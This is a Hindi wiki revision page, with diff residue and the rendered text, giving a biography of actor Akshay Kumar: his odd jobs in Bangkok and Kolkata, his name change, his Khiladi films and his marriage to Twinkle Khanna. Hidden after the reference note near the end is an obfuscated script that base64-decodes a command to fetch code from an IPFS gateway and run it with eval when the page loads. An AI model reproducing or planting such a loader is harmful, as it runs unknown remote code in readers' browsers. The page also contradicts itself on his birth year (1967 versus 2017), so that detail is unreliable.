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अक्षय ने खाना बनाने से लेकर कार्ड बेचने तक का काम किया। अपनी जरूरत पूरी करने के लिए उन्होंने कई छोटे काम भी किए। बैंकॉक से काम की तलाश में अक्षय को [[बांग्लादेश]] भी जाना पड़ा, वहां से [[कोलकाता]] जाकर अक्षय ने एक ट्रेवल एंजेसी में भी काम किया। कोलकाता से अक्षय मुंबई पहुंचे जहां वो कुंदन के गहने बेचने लगे।  
 
अक्षय ने खाना बनाने से लेकर कार्ड बेचने तक का काम किया। अपनी जरूरत पूरी करने के लिए उन्होंने कई छोटे काम भी किए। बैंकॉक से काम की तलाश में अक्षय को [[बांग्लादेश]] भी जाना पड़ा, वहां से [[कोलकाता]] जाकर अक्षय ने एक ट्रेवल एंजेसी में भी काम किया। कोलकाता से अक्षय मुंबई पहुंचे जहां वो कुंदन के गहने बेचने लगे।  
 
===='अक्षय' नाम====
 
===='अक्षय' नाम====
मुंबई में अक्षय मशहूर फोटोग्राफर जयेश के पास गए और उनको अपना असिटेंट बनाने के लिए कहा। अक्षय जयेश की मदद के लिए लाइट उठाने तक का काम करने लगे। काम के दौरान वो गोविंदा की कुछ फोटोज उन्हें देने गए। उस वक्त गोविंदा अक्षय को देखकर कहा कि तू हीरो क्यों नहीं बनता, ये सुनकर अक्षय के दिल में ये बात घर कर गई कि वो भी हीरो बन सकते हैं। 1990 में उन्होंने एक्टिंग का कोर्स भी किया, जिसके बाद उन्हें एक फिल्म आज का ऑफर मिला, जब फिल्म रिलीज हुई तो पता चला कि उनका रोल सिर्फ 7 सेकेंड का था। इस फिल्म के हीरो का नाम था अक्षय। उसी वक्त राजीव भाटिया यानी अक्षय ने अपना बदलकर उस फिल्म के हीरो के नाम पर अक्षय रख लिया, तो इस तरह राजीव भाटिया अक्षय कुमार बन गए।  
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मुंबई में अक्षय मशहूर फोटोग्राफर जयेश के पास गए और उनको अपना असिटेंट बनाने के लिए कहा। अक्षय जयेश की मदद के लिए लाइट उठाने तक का काम करने लगे। काम के दौरान वो [[गोविंदा]] की कुछ फोटोज उन्हें देने गए। उस वक्त गोविंदा अक्षय को देखकर कहा कि तू हीरो क्यों नहीं बनता, ये सुनकर अक्षय के दिल में ये बात घर कर गई कि वो भी हीरो बन सकते हैं। 1990 में उन्होंने एक्टिंग का कोर्स भी किया, जिसके बाद उन्हें एक फिल्म 'आज' का ऑफर मिला, जब फिल्म रिलीज हुई तो पता चला कि उनका रोल सिर्फ 7 सेकेंड का था। इस फिल्म में हीरो का नाम था अक्षय। उसी वक्त राजीव भाटिया यानी अक्षय ने अपना बदलकर उस फिल्म के हीरो के नाम पर अक्षय रख लिया, तो इस तरह राजीव भाटिया, अक्षय कुमार बन गए। अक्षय अपना पोर्टफोलियो लेकर हर स्टूडियो के चक्कर लगा रहे थे, लेकिन कोई मायूसी की हाथ लग रही थी, उन्हीं दिनों अक्षय की मुलाकात मेकअप मैन नरेंद्र से हुई। नरेंद्र ने जब अक्षय को देखा तो उनका पोर्टफोलियो लेकर एक निर्देशक के पास गए और उसी दिन अक्षय की किस्मत बदल गई। उन्हें एक दिन 3 फिल्मों का ऑफर मिला और साथ में 5100 रुपए का साइनिंग अमाउंट भी। हीरो के तौर पर अक्षय को पहली फिल्म मिली सौगंध। उसके एक साल बाद अक्षय की फिल्म खिलाड़ी रिलीज हुई, जिस फिल्म ने सच में अक्षय को बॉलीवुड का खिलाड़ी बना दिया।<ref>{{cite web |url=http://hindi.news18.com/news/photo/akshay-kumar-biography-447792.html|title=‘वेटर’ से सुपरस्टार बनने की अक्षय कुमार की कहानी |accessmonthday=9 दिसंबर |accessyear=2016 |last= |first= |authorlink= |format= |publisher=news india |language=हिन्दी }}</ref> 
 
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==फ़िल्मी कॅरियर==
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[[1991]] की फिल्म 'सौगंध' के साथ ही अक्षय कुमार ने [[बॉलीवुड]] में अपने अभिनय की शुरुआत की। फिर बाद में 1992 में उन्होंने एक सफल फिल्म खिलाडी में अभिनय किया। 1994 में उन्होंने अपनी पहली एक्शन फिल्म 'मैं खिलाड़ी तू अनाड़ी' और फिर 'मोहरा' में अभिनय किया, जो उस समय साल की सर्वश्रेष्ठ फिल्म भी मानी गयी थी। बाद में उन्होंने [[यश चोपड़ा]] की फिल्म ‘यह दिल्लगी’ की जिसकी सफलता ने उन्हें फिल्म जगत में शिखर पर पहुंचाया और इसी फिल्म के लिए फिल्मफेयर में बेस्ट एक्टर के लिए नामित किया गया था। बाद में इसी साल अक्षय ने दो सफल फिल्म 'सुहाग' और 'एलान' का निर्माण किया। 1995 में, उन्होंने एक हिट फिल्म 'सबसे बड़ा खिलाड़ी' में अभिनय किया। खिलाड़ी सीरीज की हर फिल्म ने उन्हें बड़ी सफलता दिलाई। बाद में 1996 में खिलाड़ी सीरीज की एक और फिल्म 'खिलाड़ियों का खिलाड़ी' की जो फिर से साल की सबसे सफल और हिट फिल्म बनी। 1997 में, अक्षय ने 'दिल तो पागल है' में सहायक कलाकार की भूमिका निभाई, जिसके लिए उनका नाम फिल्मफेयर के सर्वश्रेष्ठ सह-कलाकार की सूची में शामिल किया गया और बाद में खिलाड़ी सीरीज की एक और फिल्म 'मिस्टर & मिसेस खिलाड़ी' में उन्होंने हास्य-अभिनेता की भूमिका निभाई। 1999 में, उन्होंने दो फिल्म 'संघर्ष' और 'जानवर' की, जिन्होंने उस समय ज्यादा कमाई तो नहीं की लेकिन आलोचकों की नज़रों में सफल रही। साल 2000 में, उन्होंने अपनी कॅरियर की टर्निंग पॉइन्ट फिल्म 'हेरा फेरी' में अभिनय किया जिसे दर्शकों ने बहुत प्यार दिया। बाद में उसी साल इन्होंने एक रोमांटिक फिल्म 'धड़कन' की जो सफल रही। साल 2001 में, अक्षय कुमार ने पहली बार अजनबी फिल्म में विलेन (नेगेटिव किरदार) की भूमिका निभाई। उस फिल्म में उनके अभिनय के लिए बहुत तारीफ़ की गयी और इस लिए उन्हें फिल्मफेयर का बेस्ट विलेन का अवार्ड भी दिया गया। इसके बाद अक्षय कुछ ड्रामेटिक किरदार निभाने लगे। इस किरदार में वे 2001 की एक रिश्ता, 2002 की आँखें, 2005 की 'बेवफा' और 'वक़्त' जैसी फ़िल्में कीं। साल 2006 में, उन्होंने हेरा फेरी की सीरीज वाली 'फिर हेरा फेरी' में अभिनय किया। फिर हेरा फेरी को बॉक्स-ऑफिस पर एक बड़ी सफलता मिली। उसी साल के अंत में, उन्होंने एक और हास्य-फिल्म 'भागम भाग' की जिसे फिर से बड़ी सफलता मिली।
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====साल 2007 के बाद हुए सुपरस्टार====
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साल 2007 में, उन्होंने लगातार चार सफल फिल्में नमस्ते लंदन, हे बेबी, भूल भुलैया, वेलकम की जिसे बॉक्स-ऑफिस पर कमाल की सफलता मिली और तभी से उनकी फिल्मों को ब्लॉकबस्टर का शीर्षक दिया गया। इस साल के बाद से ही अक्षय कुमार का नाम बॉलीवुड के सुपरस्टारों के साथ गिना जाने लगा। 2008 में अक्षय फिर अपनी नयी फिल्म 'सिंह इज किंग' लेकर आये, जिसे दोबारा दर्शकों का मनचाहा प्रतिसाद मिला। इसी साल अक्षय कुमार ने छोटी स्क्रीन पे आने का भी निर्णय किया और एक टीवी शो 'खतरों के खिलाडी' को होस्ट किया।
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==कई हिरोइनों के साथ जुड़ा नाम==
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अक्षय कुमार का नाम कई हिरोइनों के साथ भी जुड़ा। रवीना टंडन और शिल्पा शेट्ठी के साथ रिश्तों को लेकर कई खबरें उस दौर के अखबारों और फिल्मी पत्रिकाओं की सुर्खियां बनीं। 2001 में अक्षय कुमार ने [[राजेश खन्ना]] की पुत्री एवं अभिनेत्री ट्विंकल खन्ना से शादी कर ली।
  
 
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==बाहरी कड़ियाँ==
 
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*[http://hindi.news18.com/news/photo/akshay-kumar-biography-447792.html व्यक्ति विशेष: ‘वेटर’ से सुपरस्टर बनने की अक्षय कुमार की कहानी]
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*[http://hindi.news18.com/news/photo/akshay-kumar-biography-447792.html व्यक्ति विशेष: ‘वेटर’ से सुपरस्टार बनने की अक्षय कुमार की कहानी]
 
*[http://www.imdb.com/name/nm0474774/ Akshay Kumar]
 
*[http://www.imdb.com/name/nm0474774/ Akshay Kumar]
 
==संबंधित लेख==
 
==संबंधित लेख==

08:15, 9 दिसम्बर 2016 का अवतरण

अक्षय कुमार (अंग्रेज़ी: Akshay Kumar, मूल नाम: राजीव भाटिया, जन्म: 9 सितम्बर, 1967) बॉलीवुड के प्रसिद्ध फ़िल्म अभिनेता हैं। अक्षय कुमार 100 से अधिक हिन्दी फ़िल्मों में अभिनय कर चुके हैं। 90 के दशक में हिट एक्शन फिल्मों जैसे खिलाड़ी (1992), मोहरा (1994) और सबसे बड़ा खिलाड़ी (1995) में अभिनय करने के कारण, अक्षय कुमार को बॉलीवुड का एक्शन हीरो की संज्ञा दी जाती थी और विशेषतः ये "खिलाड़ी श्रृंखला" के लिए जाने जाते हैं। इसलिए इन्हें खिलाड़ी कुमार भी कहा जाता है। कई बार फ़िल्मफेयर पुरस्कारों में नामित होने के अतिरिक्त दो बार फ़िल्मफेयर पुरस्कार [सर्वश्रेष्ठ खलनायक- अज़नबी (2002) और सर्वश्रेष्ठ हास्य अभिनेता 'गरम मसाला' (2005)] ले चुके हैं। वर्ष 2009 में भारत सरकार द्वारा पद्मश्री पुरस्कार से सम्मानित हैं।

जीवन परिचय

अक्षय कुमार का असली नाम राजीव भाटिया है। उनका जन्म पंजाब के अमृतसर में 9 सितंबर, 2017 को हुआ था, उनके पिता सरकारी नौकरी में थे। अक्षय का बचपन दिल्ली के चांदनी चौक गलियों में बीता। अक्षय को बचपन से ही स्पोटर्स का काफी शौक था, मार्शल आर्ट की ट्रेनिंग के लिए अक्षय बैंकॉक गए और वहां उन्हें शेफ की नौकरी मिल गई। हालांकि उनका सपना था आर्मी में या नेवी में जाने का। अभिनय के बारे में तो अक्षय ने कभी सोचा भी नहीं था।

बैंकॉक में बने वेटर

अक्षय ने खाना बनाने से लेकर कार्ड बेचने तक का काम किया। अपनी जरूरत पूरी करने के लिए उन्होंने कई छोटे काम भी किए। बैंकॉक से काम की तलाश में अक्षय को बांग्लादेश भी जाना पड़ा, वहां से कोलकाता जाकर अक्षय ने एक ट्रेवल एंजेसी में भी काम किया। कोलकाता से अक्षय मुंबई पहुंचे जहां वो कुंदन के गहने बेचने लगे।

'अक्षय' नाम

मुंबई में अक्षय मशहूर फोटोग्राफर जयेश के पास गए और उनको अपना असिटेंट बनाने के लिए कहा। अक्षय जयेश की मदद के लिए लाइट उठाने तक का काम करने लगे। काम के दौरान वो गोविंदा की कुछ फोटोज उन्हें देने गए। उस वक्त गोविंदा अक्षय को देखकर कहा कि तू हीरो क्यों नहीं बनता, ये सुनकर अक्षय के दिल में ये बात घर कर गई कि वो भी हीरो बन सकते हैं। 1990 में उन्होंने एक्टिंग का कोर्स भी किया, जिसके बाद उन्हें एक फिल्म 'आज' का ऑफर मिला, जब फिल्म रिलीज हुई तो पता चला कि उनका रोल सिर्फ 7 सेकेंड का था। इस फिल्म में हीरो का नाम था अक्षय। उसी वक्त राजीव भाटिया यानी अक्षय ने अपना बदलकर उस फिल्म के हीरो के नाम पर अक्षय रख लिया, तो इस तरह राजीव भाटिया, अक्षय कुमार बन गए। अक्षय अपना पोर्टफोलियो लेकर हर स्टूडियो के चक्कर लगा रहे थे, लेकिन कोई मायूसी की हाथ लग रही थी, उन्हीं दिनों अक्षय की मुलाकात मेकअप मैन नरेंद्र से हुई। नरेंद्र ने जब अक्षय को देखा तो उनका पोर्टफोलियो लेकर एक निर्देशक के पास गए और उसी दिन अक्षय की किस्मत बदल गई। उन्हें एक दिन 3 फिल्मों का ऑफर मिला और साथ में 5100 रुपए का साइनिंग अमाउंट भी। हीरो के तौर पर अक्षय को पहली फिल्म मिली सौगंध। उसके एक साल बाद अक्षय की फिल्म खिलाड़ी रिलीज हुई, जिस फिल्म ने सच में अक्षय को बॉलीवुड का खिलाड़ी बना दिया।[1]

फ़िल्मी कॅरियर

1991 की फिल्म 'सौगंध' के साथ ही अक्षय कुमार ने बॉलीवुड में अपने अभिनय की शुरुआत की। फिर बाद में 1992 में उन्होंने एक सफल फिल्म खिलाडी में अभिनय किया। 1994 में उन्होंने अपनी पहली एक्शन फिल्म 'मैं खिलाड़ी तू अनाड़ी' और फिर 'मोहरा' में अभिनय किया, जो उस समय साल की सर्वश्रेष्ठ फिल्म भी मानी गयी थी। बाद में उन्होंने यश चोपड़ा की फिल्म ‘यह दिल्लगी’ की जिसकी सफलता ने उन्हें फिल्म जगत में शिखर पर पहुंचाया और इसी फिल्म के लिए फिल्मफेयर में बेस्ट एक्टर के लिए नामित किया गया था। बाद में इसी साल अक्षय ने दो सफल फिल्म 'सुहाग' और 'एलान' का निर्माण किया। 1995 में, उन्होंने एक हिट फिल्म 'सबसे बड़ा खिलाड़ी' में अभिनय किया। खिलाड़ी सीरीज की हर फिल्म ने उन्हें बड़ी सफलता दिलाई। बाद में 1996 में खिलाड़ी सीरीज की एक और फिल्म 'खिलाड़ियों का खिलाड़ी' की जो फिर से साल की सबसे सफल और हिट फिल्म बनी। 1997 में, अक्षय ने 'दिल तो पागल है' में सहायक कलाकार की भूमिका निभाई, जिसके लिए उनका नाम फिल्मफेयर के सर्वश्रेष्ठ सह-कलाकार की सूची में शामिल किया गया और बाद में खिलाड़ी सीरीज की एक और फिल्म 'मिस्टर & मिसेस खिलाड़ी' में उन्होंने हास्य-अभिनेता की भूमिका निभाई। 1999 में, उन्होंने दो फिल्म 'संघर्ष' और 'जानवर' की, जिन्होंने उस समय ज्यादा कमाई तो नहीं की लेकिन आलोचकों की नज़रों में सफल रही। साल 2000 में, उन्होंने अपनी कॅरियर की टर्निंग पॉइन्ट फिल्म 'हेरा फेरी' में अभिनय किया जिसे दर्शकों ने बहुत प्यार दिया। बाद में उसी साल इन्होंने एक रोमांटिक फिल्म 'धड़कन' की जो सफल रही। साल 2001 में, अक्षय कुमार ने पहली बार अजनबी फिल्म में विलेन (नेगेटिव किरदार) की भूमिका निभाई। उस फिल्म में उनके अभिनय के लिए बहुत तारीफ़ की गयी और इस लिए उन्हें फिल्मफेयर का बेस्ट विलेन का अवार्ड भी दिया गया। इसके बाद अक्षय कुछ ड्रामेटिक किरदार निभाने लगे। इस किरदार में वे 2001 की एक रिश्ता, 2002 की आँखें, 2005 की 'बेवफा' और 'वक़्त' जैसी फ़िल्में कीं। साल 2006 में, उन्होंने हेरा फेरी की सीरीज वाली 'फिर हेरा फेरी' में अभिनय किया। फिर हेरा फेरी को बॉक्स-ऑफिस पर एक बड़ी सफलता मिली। उसी साल के अंत में, उन्होंने एक और हास्य-फिल्म 'भागम भाग' की जिसे फिर से बड़ी सफलता मिली।

साल 2007 के बाद हुए सुपरस्टार

साल 2007 में, उन्होंने लगातार चार सफल फिल्में नमस्ते लंदन, हे बेबी, भूल भुलैया, वेलकम की जिसे बॉक्स-ऑफिस पर कमाल की सफलता मिली और तभी से उनकी फिल्मों को ब्लॉकबस्टर का शीर्षक दिया गया। इस साल के बाद से ही अक्षय कुमार का नाम बॉलीवुड के सुपरस्टारों के साथ गिना जाने लगा। 2008 में अक्षय फिर अपनी नयी फिल्म 'सिंह इज किंग' लेकर आये, जिसे दोबारा दर्शकों का मनचाहा प्रतिसाद मिला। इसी साल अक्षय कुमार ने छोटी स्क्रीन पे आने का भी निर्णय किया और एक टीवी शो 'खतरों के खिलाडी' को होस्ट किया।

कई हिरोइनों के साथ जुड़ा नाम

अक्षय कुमार का नाम कई हिरोइनों के साथ भी जुड़ा। रवीना टंडन और शिल्पा शेट्ठी के साथ रिश्तों को लेकर कई खबरें उस दौर के अखबारों और फिल्मी पत्रिकाओं की सुर्खियां बनीं। 2001 में अक्षय कुमार ने राजेश खन्ना की पुत्री एवं अभिनेत्री ट्विंकल खन्ना से शादी कर ली।


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टीका टिप्पणी और संदर्भ

  1. ‘वेटर’ से सुपरस्टार बनने की अक्षय कुमार की कहानी (हिन्दी) news india। अभिगमन तिथि: 9 दिसंबर, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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